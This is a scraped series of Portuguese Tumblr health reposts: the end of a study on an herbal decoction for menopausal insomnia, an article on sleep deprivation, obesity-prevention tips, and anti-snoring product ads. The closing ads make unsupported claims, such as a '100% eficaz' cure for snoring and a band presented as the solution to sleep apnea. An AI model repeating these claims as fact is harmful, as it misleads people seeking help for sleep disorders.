No entanto, elas podem afetar a doença primária e devem ser registradas por médicos da MTC quando prescrevem a SZRT. Precisamos de mais estudos para detectar mais informações sobre a segurança do tratamento com GGLMT. No entanto, a maior limitação do estudo é que os dados foram observados naturalmente, o que significa que seria muito melhor se o design fosse um ensaio clínico randomizado (ECR). Sem dúvida, a conclusão sobre a eficácia de Gancao Longgu Muli Tang pode não ser tão rigorosa quanto a conclusão sobre um ensaio clínico randomizado, que nunca foi realizado, embora o GGLMT seja um fenômeno comum em prescrições em Taiwan , Coréia do Sul ou Japão hoje. O resultado da observação pode nos fornecer informações úteis sobre a avaliação da segurança e uma avaliação aproximada da eficácia de Gancao Longgu Muli Tang. Os dados prévios do mesmo são necessários para a realização de ECA adicional. O que é necessário é outro estudo prospectivo, randomizado, duplo-cego, controlado para medir a eficácia e a segurança do tratamento com maior precisão e confiabilidade. Além disso, deve-se dizer que todos os participantes eram da província chinesa de Jiangsu e que mais estudos cobrindo participantes de outras províncias ou países são necessários. Embora 6 participantes de 162 pacientes tenham sofrido aftas, constipação e foliculite durante um curto período período de tempo devido à administração de GGLMT e o resultado da observação pode ser influenciado por fatores como o efeito placebo e outros fatores de confusão tais como os do ambiente e fisiológicos, sugere-se que o tratamento por decocção seja uma terapia bem tolerada e válido, especialmente para melhorar os distúrbios do sono em mulheres no climatério com disfunção diurna.

REFERÊNCIAS

Ye Q, Zhou J, Yuan XL, Yuan CX, Yang XM. Eficácia da decocção de Zhenjingdingzhi no tratamento da insônia com deficiência de Qi no coração e na vesícula biliar: um estudo randomizado, duplo-cego, controlado, J Tradit Chin Med 2015; 35 (4): 381-388

Chen CY, Chen YF, Tsai HY. Qual é o componente eficaz na decocção suanzaoren para curar em somnia? Descoberta por triagem virtual e simulação dinâmica molecular. J Biomol Struct Dyn 2008; 26 (1): 57-64

Pan HA, Wu MH, Hu CC, B Yao, Huang KO. A percepção da menopausa entre as mulheres em Taiwan. Maturitas 2002; 41 (4): 269-274

National Institutes of Health. NIH declaração de conferência de estado de thescience: manifestações e gestão de insônia crônica em adultos. Consenso do NIH e Declarações de Estado da Ciência de 2005; 22 (2): 15-16

Lai JN. A qualidade de vida definida pelas mulheres na menopausa utiliza uma abordagem qualitativa. Taiwan: Universidade Nacional de Taiwan 2001; 21-35

Lai JN, Chen HJ, Chen CM, PC Chen, Wang JD. Qualidade de vida e condições climáticas entre mulheres que buscam orientação médica em Taiwan: avaliação utilizando o questionário WHOQOL-BREF. Climatério 2006; 9 (2): 119-128

Dennerstein L., Dudley EC, Hopper JL, Guthrie JR, Burger HG. Um estudo prospectivo de base populacional sobre sintomas da menopausa. Obstetrícia e Ginecologia 2000; 96 (3): 351-358

Xiong MQ, Shang Han Xue. China: a Medicina Tradicional Chinesa Press da China, 2007: 79-80

Fang ZQ. Edição especial de insônia. Xangai: Editores Científicos e Técnicos de Xangai, 1999: 70-78, 102.

Yeh CH, Arnold CK, Chen YH, Lai JN. Suan Zao Ren Tang como Tratamento Original para a Dificuldade do Sono em Mulheres Climatéricas: Uma Observação Clínica Prospectiva. Medicina Complementar e Alternativa Baseada em Evidências 2011; Artigo ID 673813, 8 páginas

Yang YH, PC Chen, Wang JD, Lee CH, Lai JN. Padrão de prescrição da medicina tradicional chinesa para mulheres climatéricas em Taiwan. Climatério 2009; 26 (12): 1-7

Buysse DJ, Reynolds CF, Monk TH, Berman SR, Kupfer DJ. O Índice de Qualidade do Sono de Pittsburgh: um novo instrumento para a prática e pesquisa psiquiátrica. Psychiatry Research, 1989; 28 (2): 193-213,

Schneider HPG, Heinemann LAJ, Rosemeier HP, Potthoff P, Behre HM. A escala de classificação da menopausa (MRS): comparação com o índice de Kupperman e a escala de qualidade de vida SF-36. Climatério, 2000; 3 (1): 50-58

Yao G, Chung CW, Yu CF, Wang JD. Desenvolvimento e verificação de validade e confiabilidade da versão chinesa do WHOQOL-BREF. Jornal da Associação Médica Formosana 2002; 101 (5): 342-351

Chen ZG, Li XJ. Estudo da diferenciação e tratamento da síndrome da MTC na insônia primária. Zhejiang Zhong Yi Yao Da Xue Xue Bao 2009; 33 (1): 66-67

Xie CL, Gu Y, Wang WW, et al. Eficácia e segurança da decocção de Suanzaoren para insônia primária: uma revisão sistemática de ensaios clínicos randomizados. Complemento BMC Altern Med 2013; 13 (1):

Autores do artigo sobre os efeitos de Gancao Longgu Muli Tang:

Wang Zhipeng, Deng Ke, Huang Xiaoqin, Yang Ding, Medicina Tradicional Chinesa Departamento de Medicina Interna , Zhongda Hospital afiliado à Universidade do Sudeste, Nanjing 210009, Wang Changsong, Departamento de Medicina Interna da Medicina Tradicional Chinesa, Faculdade de Medicina da Universidade Sudeste, Nanjing 210009, China

Huang Xiaoqin, Ambulatório Departamento de Hospital da Universidade de Nanjing de Correios e Telecomunicações, Nanjing 210023, China

Artigo cedido por: Fundação Europeia de Medicina Tradicional Chinesa

Loading …

Medicamentos » Medicina Tradicional Chinesa» Gancao Longgu Muli Tang: efeito sobre distúrbios do sono na menopausa

← Artigo anterior

Próximo artigo →

from WordPress https://ift.tt/2GILIS3 via IFTTT

#cabelos #queda de cabelo

0 notes

buladeremedios · 6 years ago

Link

A perda do sono é um problema comum na sociedade moderna, afetando muitos indivíduos em algum momento de suas vidas. A privação do sono ocorre quando um indivíduo dorme menos do que precisa para se sentir acordado e alerta. As pessoas variam em quão pouco sono é necessário para serem consideradas privadas de sono. Algumas pessoas, como adultos mais velhos, parecem ser mais resistentes aos efeitos da privação do sono, enquanto outras, especialmente crianças e adultos jovens, são mais vulneráveis.

Embora interrupções ocasionais do sono geralmente não sejam mais do que um incômodo, a falta contínua de sono pode levar a sonolência diurna excessiva, dificuldades emocionais, desempenho insatisfatório no trabalho, obesidade e uma percepção reduzida da qualidade de vida.

Não há questionamento sobre a importância do sono reparador, e uma certa quantidade de atenção é necessária para gerenciar e prevenir a privação do sono.

Este artigo do Medical News Today Centro de Conhecimento examina as consequências da privação do sono, juntamente com o que pode ser feito para tratá-la e preveni-la.

Fatos rápidos sobre a privação do sono

Aqui estão alguns pontos importantes sobre a privação do sono. Mais detalhes e informações de suporte estão no artigo principal.

A perda de sono altera o funcionamento normal da atenção e interrompe a capacidade de se concentrar na entrada sensorial ambiental

A falta de sono foi implicada como desempenhando um papel significativo em acidentes trágicos envolvendo aviões, navios, trens, automóveis e usinas nucleares

Crianças e jovens adultos são mais vulneráveis aos efeitos negativos da privação do sono

A privação do sono pode ser um sintoma de um distúrbio do sono não diagnosticado ou outro problema médico

Quando você não consegue dormir o suficiente, começa a acumular uma dívida de sono.

Sintomas

Quando um indivíduo não dorme o suficiente para se sentir acordado e alerta, ele começa a sentir sintomas de privação de sono.

O principal sintoma da perda de sono em curso é a sonolência diurna excessiva, mas outros sintomas incluem:

bocejando

mau humor

fadiga

irritabilidade

humor deprimido

dificuldade em aprender novos conceitos

esquecimento

incapacidade de se concentrar ou uma cabeça "difusa"

falta de motivação

falta de jeito

aumento do apetite e desejo por carboidratos

redução do desejo sexual

Efeitos

A privação do sono pode afetar negativamente uma série de sistemas no corpo.

Pode ter o seguinte impacto:

Não dormir o suficiente impede o corpo de fortalecer o sistema imunológico e produzir mais citocinas para combater a infecção. Isso pode significar que uma pessoa pode levar mais tempo para se recuperar da doença, além de ter um risco aumentado de doença crônica.

A privação do sono também pode resultar em um risco aumentado de doenças respiratórias novas e avançadas.

A falta de sono pode afetar o peso corporal. Dois hormônios no corpo, a leptina e a grelina, controlam as sensações de fome e saciedade ou plenitude. Os níveis desses hormônios são afetados pelo sono. A privação do sono também causa a liberação de insulina, o que leva ao aumento do armazenamento de gordura e a um maior risco de diabetes tipo 2.

O sono ajuda os vasos do coração a se curar e reconstruir, além de afetar os processos que mantêm a pressão arterial e os níveis de açúcar, bem como o controle da inflamação. Não dormir o suficiente aumenta o risco de doença cardiovascular.

O sono insuficiente pode afetar a produção de hormônios, incluindo hormônios de crescimento e testosterona em homens.

Causas

A privação do sono ocorre quando alguém não consegue uma boa quantidade de sono.

As recomendações da National Sleep Foundation (NSF) de 2015 para durações de sono adequadas para grupos etários específicos são:

Recém-nascidos (0 a 3 meses): 14 a 17 horas por dia

Bebês (4 a 11 meses): 12 a 15 horas

Crianças de 1 a 2 anos: 11 a 14 horas

Pré-escolares (3 a 5 anos): 10 a 13 horas

Crianças em idade escolar (6 a 13 anos): 9 a 11 horas

Adolescentes (14 a 17 anos): 8 a 10 horas

Adultos (18 a 64 anos): 7 a 9 horas

Adultos mais velhos (acima de 65 anos): 7 a 8 horas

Alguns grupos de pessoas podem considerar o sono como um tempo perdido e privar-se propositalmente do sono para buscar outras coisas, como entretenimento, metas educacionais ou atividades lucrativas.

Esta privação intencional do sono é mais provável de ser vista em adolescentes e adultos jovens.

Outros podem, inadvertidamente, não dormir o suficiente por causa do trabalho por turnos, obrigações familiares ou trabalhos exigentes.

Padrões consistentes de sono-vigília de ir para a cama tarde, despertares noturnos frequentes ou acordar cedo podem levar à privação do sono e ao acúmulo de dívidas de sono.

Causas adicionais de privação do sono incluem problemas médicos, como depressão, apneia obstrutiva do sono, desequilíbrios hormonais e outras doenças crônicas.

Tratamento

O tratamento só é necessário quando uma pessoa fisicamente não consegue dormir, devido a dificuldades físicas ou psicológicas.

Um terapeuta ou especialista em sono será capaz de oferecer orientação e técnicas de enfrentamento para alcançar um estado de repouso e dormir.

Existem duas formas principais de tratamento para a privação do sono: Medidas comportamentais e cognitivas e medicamentos.

Tratamentos comportamentais e cognitivos

Existem vários métodos eficazes para melhorar o sono que não requerem medicação, incluindo:

Técnicas de relaxamento: Relaxamento muscular progressivo que envolve o enrijecimento e o ressurgimento de diferentes músculos do corpo para ajudar a acalmar o corpo. Técnicas de meditação, treinamento de atenção plena, exercícios de respiração e imagens guiadas também podem ajudar nessa área. Estão disponíveis gravações de áudio que podem ajudar a pessoa a adormecer à noite.

Controle de estimulação: Isso envolve o controle das atividades antes da hora de dormir e do ambiente para moderar o padrão de sono. Por exemplo, uma pessoa que controla seu estímulo passaria o tempo na cama apenas quando se sentisse sonolenta, o que controla a associação entre estar na cama e se sentir pronta para dormir.

Terapia cognitivo-comportamental (TCC): Este é um tipo de terapia projetado para ajudar as pessoas a entender e mudar os padrões de pensamento por trás de certos comportamentos. Pode desafiar crenças que podem não ser saudáveis e promover pensamentos racionais e positivos. A TCC pode ajudar uma pessoa a desenvolver um padrão de sono mais saudável.

Medicamentos

Quando o tratamento não medicamentoso não é eficaz, existem medicamentos disponíveis que podem ajudar a induzir o sono. Alguns estão disponíveis sem receita (OTC), e alguns estão disponíveis apenas com uma receita válida.

Existe uma ampla gama de opções disponíveis, incluindo benzodiazepínicos, hipnóticos não-benzodiazepínicos e antagonistas dos receptores da melatonina.

No entanto, algumas pessoas dependem dos medicamentos para dormir. É importante limitar a dose e tentar usar medidas não medicinais, sempre que possível.

Gerenciamento da casa

A boa notícia é que a maioria dos efeitos negativos da privação do sono se reverte quando o sono é suficiente. O tratamento para a privação do sono é para satisfazer a necessidade de sono biológico, prevenir a privação e "pagar de volta" a dívida de sono acumulada.

Se você não consegue dormir, os especialistas recomendam a realização de uma atividade como a leitura até que você se sinta sonolento.

Algumas sugestões para bons hábitos de sono incluem:

deitar quando estiver cansado

seguindo uma rotina para os horários de cama e de despertar, mantendo-a consistente todos os dias da semana

evitando comer de 2 a 3 horas antes de dormir

se não conseguir adormecer depois de 20 minutos de tentativas, indo para outra sala e tentando ler até sentir sono, depois voltar para a cama

participando de exercícios regulares durante o dia

mantendo o quarto silencioso, escuro e uma temperatura confortavelmente fresca

desligando dispositivos eletrônicos quando você vai para a cama

Pagando a dívida do sono

Quando você não consegue obter a quantidade necessária de sono suficiente, você começa a acumular uma dívida de sono. Por exemplo, se você precisar de 7 horas de sono noturno para se sentir acordado e alerta e só conseguir 5 horas, terá uma dívida de sono de 2 horas. Se você continuar esse padrão por cinco noites, terá uma dívida de sono acumulada de 10 horas.

A única maneira de apagar uma dívida de sono é dormir mais. Dependendo da escala da dívida do sono, pode levar algum tempo para se recuperar totalmente. No entanto, os efeitos positivos de pagar essa dívida serão sentidos rapidamente.

Para pagar uma dívida de sono, é necessário começar a dormir o que você precisa, mais uma hora adicional por noite, até que a dívida seja paga. Depois, a quantidade necessária de sono pode ser retomada sem a hora adicional.

Mesmo que o débito do sono seja de centenas ou mesmo milhares de horas, ele ainda pode ser conciliado com sucesso com um esforço consciente para reestruturar obrigações e permitir tempo suficiente para se recuperar. Você saberá que pagou sua dívida de sono ao acordar sentindo-se revigorado e não se sentir sonolento demais durante o dia.

Se a privação do sono está em andamento, e os sintomas negativos persistem apesar da prática de boas medidas de higiene do sono, recomenda-se consultar um profissional de saúde.

Diagnóstico

É importante, ao diagnosticar a privação do sono, identificar um ciclo contínuo de sono insatisfatório.

O primeiro passo para reconhecer um problema de sono é manter um histórico de sono escrito em um registro do sono. Escreva cada dia quantas horas de sono você tem, quantas vezes por noite você acorda, como você se sente descansado depois de acordar e qualquer sensação de sonolência que você sente durante o dia.

Se você tem um parceiro, pode valer a pena pedir-lhe para notar qualquer ronco, ofegante ou repuxar os membros, como um médico também pode perguntar sobre isso.

Em seguida, será possível apresentar essas informações a qualquer médico que você visitar de maneira significativa.

Especialistas do sono também podem identificar um padrão usando uma polissonografia ou estudo do sono. Isso é realizado em um laboratório do sono.

Os eletrodos são colocados em vários pontos do corpo, incluindo o couro cabeludo e o rosto. A pessoa com suspeita de privação de sono dormirá durante a noite em uma clínica de sono, e esses monitores medirão a respiração, o sangue, a freqüência cardíaca e o ritmo, a atividade muscular e os movimentos cerebrais e oculares durante o sono.

Especialmente naqueles que voluntariamente dormem muito pouco, o diagnóstico pode ser tão simples quanto reconhecer que você não dorme o suficiente e decide fazer mudanças.

Complicações

O trabalho em turnos e trabalhos exigentes podem levar à privação do sono ao longo do tempo. A privação do sono enfraquece a capacidade da parte do cérebro que lida com o raciocínio, conhecida como córtex pré-frontal, de controlar a parte emocional, a amígdala. Isso leva ao processamento anormal de emoções.

O sono também parece ser necessário para preparar o cérebro para o aprendizado. Quando o cérebro é privado do sono, é difícil se concentrar e formar novas memórias.

Quando ficamos acordados a noite toda ou cortamos significativamente o sono, o corpo não libera os hormônios necessários para regular o crescimento e o apetite, e, ao contrário, forma uma superabundância de substâncias químicas do estresse, como a noradrenalina e o cortisol.

Pesquisas sugerem que períodos mais curtos de sono podem ser um preditor de ganho de peso em adultos e crianças. Cada redução de 1 hora no tempo de sono por dia está associada a um aumento de 0,35 kg (kg) no peso corporal. Essas alterações resultam em um aumento do risco de hipertensão, diabetes, obesidade, ataque cardíaco e derrame no indivíduo com privação de sono.

A perda do sono pode ter um profundo impacto tanto na função emocional quanto nas habilidades normais de pensamento em indivíduos saudáveis, resultando em:

tendência reduzida de pensar positivamente

mau humor, diminuição da vontade de resolver problemas

uma tendência maior para o pensamento supersticioso e mágico

intolerância e menos empatia em relação aos outros

controle deficiente de impulsos

incapacidade de atrasar a gratificação

Pessoas privadas de sono são mais propensas a relatar sentimentos aumentados de inutilidade, inadequação, falta de poder, fracasso, baixa auto-estima, desempenho insatisfatório no trabalho, conflitos com colegas de trabalho e redução da qualidade de vida. Muitos desses déficits permanecem mesmo quando o estado de alerta é sustentado por estimulantes como a cafeína.

Finalmente, os indivíduos com privação de sono são mais pontuados em escalas clínicas que medem depressão, ansiedade e paranóia.

Maior risco de acidentes

Após cerca de 16 horas de ficar acordado, o corpo tenta equilibrar a necessidade de sono. Se uma pessoa não dorme o suficiente, o cérebro obtém o sono através de ataques de sono curtos chamados microsleeps.

Esta é uma resposta cerebral incontrolável que torna uma pessoa incapaz de processar a estimulação ambiental e informações sensoriais por um curto período de tempo.

Os olhos de uma pessoa geralmente permanecem abertos durante o microsleeps, mas são essencialmente "zonados". Como a natureza desses ataques é súbita, as conseqüências de um indivíduo privado de sono operar máquinas pesadas ou dirigir podem ser catastróficas tanto para o indivíduo quanto para os inocentes.

Os microsleeps continuarão ocorrendo apesar da tentativa forçada de um indivíduo de permanecer acordado e, devido a esse mecanismo de sono inerente, é extremamente difícil para um indivíduo permanecer acordado por mais de 48 horas seguidas.

Prevenção

A privação do sono pode estar ligada a acidentes sérios e mau desempenho no trabalho ou na escola. Pode reduzir substancialmente a qualidade de vida geral de um indivíduo. A falta de sono interrompe a capacidade do cérebro de equilibrar emoções e habilidades de pensamento, reduz as defesas naturais do corpo e aumenta as chances de desenvolver problemas médicos crônicos.

Embora a ocasional noite de sono ruim não seja um problema sério, a privação persistente do sono pode ser.

Não há substituto para o sono restaurador. Uma certa dose de cuidado deve ser tomada para evitar a privação do sono em curso em indivíduos de todas as idades.

O seguinte post o Que Há para Saber Sobre Privação de Sono? foi originalmente visto em: Bulário de Medicamentos e Remédios

#buladeremedio #saúde #remédio #bula #medicamento

0 notes

kauaalvesrocha · 7 years ago

Text

Obesidade + Dicas para prevenção da Obesidade

Obesidade

Perder Peso

A obesidade hoje é considerada uma epidemia mundial, no Brasil, cerca de 18 milhões de pessoas são consideradas obesas e 70 milhões estão pelo menos na faixa do sobrepeso. O problema é ainda mais preocupante quando vemos que cada vez mais crianças são atingidas pelo problema (obesidade infantil). A prevalência de obesidade em crianças no Brasil aumentou de 3 para 15% nos últimos 29 anos. As causas de obesidade são múltiplas. Para o diagnóstico de obesidade em adultos o mais tradicional é o cálculo do índice de massa corporal (IMC), no entanto outros métodos podem ser utilizados como pregas cutâneas, circunferência abdominal e bioimpedância. A obesidade está relacionada a maior mortalidade devido à maior frequência de eventos cardiovasculares (infarto, angina), eventos cerebrovasculares (acidente vascular cerebral) e alguns cânceres como de endométrio, mama e vesícula. Além disso a obesidade está relacionada à baixa qualidade de vida devido a problemas associados com diabetes, esteatose hepática, osteoartrose em quadris e joelhos e síndrome da apneia do sono, além da possibilidade da redução da fertilidade em homens e mulheres. Os avanços ocorridos nos conhecimentos sobre a obesidade, não foram acompanhados de grandes progressos no que se refere ao seu tratamento. Muitas estratégias de emagrecimento têm sido tentadas, mas, via de regra, perder peso e mantê-lo são extremamente difíceis na maioria dos casos. A perda de peso sempre estará na dependência de um balanço energético negativo, conseqüente à menor ingestão alimentar em relação ao gasto calórico. Classicamente esta situação é alcançada com a redução da ingestão alimentar e aumento da atividade física. Além disso a obesidade é uma doença multifatorial e o controle dos fatores ambientais é importante para combatê-la. No tratamento o objetivo não é só a perda de peso, mas também a correção dos fatores de risco para outras doenças. A idéia de se reduzir o peso corporal de indivíduos obesos para valores consideráveis normais vem sendo substituída por condutas que levam a um objetivo menos ambicioso e mais realista, pela impossibilidade de se conseguir, a longo prazo, atingir e manter o peso ideal na maioria dos casos. A perda de uma porcentagem do peso, mesmo que não se alcance o “peso ideal” já traz inúmeros benefícios em qualidades de vida, diminuição da mortalidade e morbidade dos indivíduos obesos. Para auxiliar na prevenção e facilitar o combate à obesidade nos que já lutam contra o problema elaboramos algumas dicas, veja: DICAS PARA PREVENÇÃO DA OBESIDADE

Seja persistente. A obesidade é uma doença, para a qual não existe cura. O paciente quando consegue voltar ao seu peso adequado, deve sempre cuidar-se e estar atento a recaídas.

Não acredite em receitas ou dietas milagrosas para a perda de peso. Eventualmente com essas estratégias se consegue uma perda de peso rápida mas sem modificação dos hábitos alimentares ocorrerá o reganho de peso trazendo o tão indesejado “efeito sanfona”.

Inicie a prática de atividade física regularmente e tenha hábitos menos sedentários como tentar utilizar mais escadas que elevadores e ir a locais próximos a pé.

Beba mais água e evite matar a sede com outros líquidos que não sejam água (sucos, refrigerantes, água de coco, chás.).

Tente ter uma alimentação equilibrada e saudável, evitando frituras, excesso de açúcares e gorduras.

“MÚLTIPLAS CAUSAS DE OBESIDADE” São muitas as causas da obesidade. O excesso de peso pode estar ligado ao patrimônio genético da pessoa associado a maus hábitos alimentares e sedentarismo, no entanto, eventualmente pode também estar associado a disfunções endócrinas como Doença de Cushing, hipotireoidismo, insulinoma.

endocrinologia

obesidade

perder peso

O que você acha deste artigo?:

No votes yet

Source: https://www.amato.com.br/content/obesidade-dicas-para-prevencao-da-obesidade

0 notes

raissastout · 7 years ago

Text

Obesidade + Dicas para prevenção da Obesidade

Obesidade

Perder Peso

Seja persistente. A obesidade é uma doença, para a qual não existe cura. O paciente quando consegue voltar ao seu peso adequado, deve sempre cuidar-se e estar atento a recaídas.

Inicie a prática de atividade física regularmente e tenha hábitos menos sedentários como tentar utilizar mais escadas que elevadores e ir a locais próximos a pé.

Beba mais água e evite matar a sede com outros líquidos que não sejam água (sucos, refrigerantes, água de coco, chás.).

Tente ter uma alimentação equilibrada e saudável, evitando frituras, excesso de açúcares e gorduras.

endocrinologia

obesidade

perder peso

O que você acha deste artigo?:

No votes yet

https://www.amato.com.br/frontpage

0 notes

edgarsilveira · 7 years ago

Text

Comprar Faixa Anti-Ronco (Não Compre Antes de Ler Isto)

Dormir mal, ter insônia apneia do sono é uma doença presente na vida de milhares de pessoas em todo o mundo. Roncar e acordar toda hora para ir ao banheiro é demasiadamente incomodo para qualquer pessoa, porém esse problema tem solução e essa mesma tem nome, conhecida como Faixa Anti Ronco. Quer saber mais sobre a solução, leia a seguir…

O Que é a Faixa Anti Ronco?

A Faixa Anti Roncoé um…

View On WordPress

0 notes

ocursofuncionaouefraude-blog · 7 years ago

Text

guia acabar com o ronco o curso funciona ou é fraude?

New Post has been published on http://www.ocursofuncionaouefraude.com.br/guia-acabar-com-o-ronco-o-curso-funciona-ou-e-fraude/

guia acabar com o ronco o curso funciona ou é fraude?

guia acabar com o ronco o curso funciona ou é fraude ? .se você precisa de uma dica para acabar com este terrivel problema que leva :

a saúde a uma desgraça

o sono a uma desgraça

a vida a dois a uma desgraça

o ânimo a uma desgraça

a vida interior e exterior a uma desgraça

DESGRAÇA SE NÃO FOR TRATADO DA FORMA CORRETA OK?

O que será passado para vocÊ é uam forma 100 % eficaz ou seja FUNCIONA NÃO É FRAUDE de como vocÊ consequir se livrar do ronca,vencer o ronco ,se curar do ronco,diminui por completo o ronco sozinho.Vamos ver uma pequena apresentação sobre o tema ?

https://www.youtube.com/watch?v=vdv4NFXruIE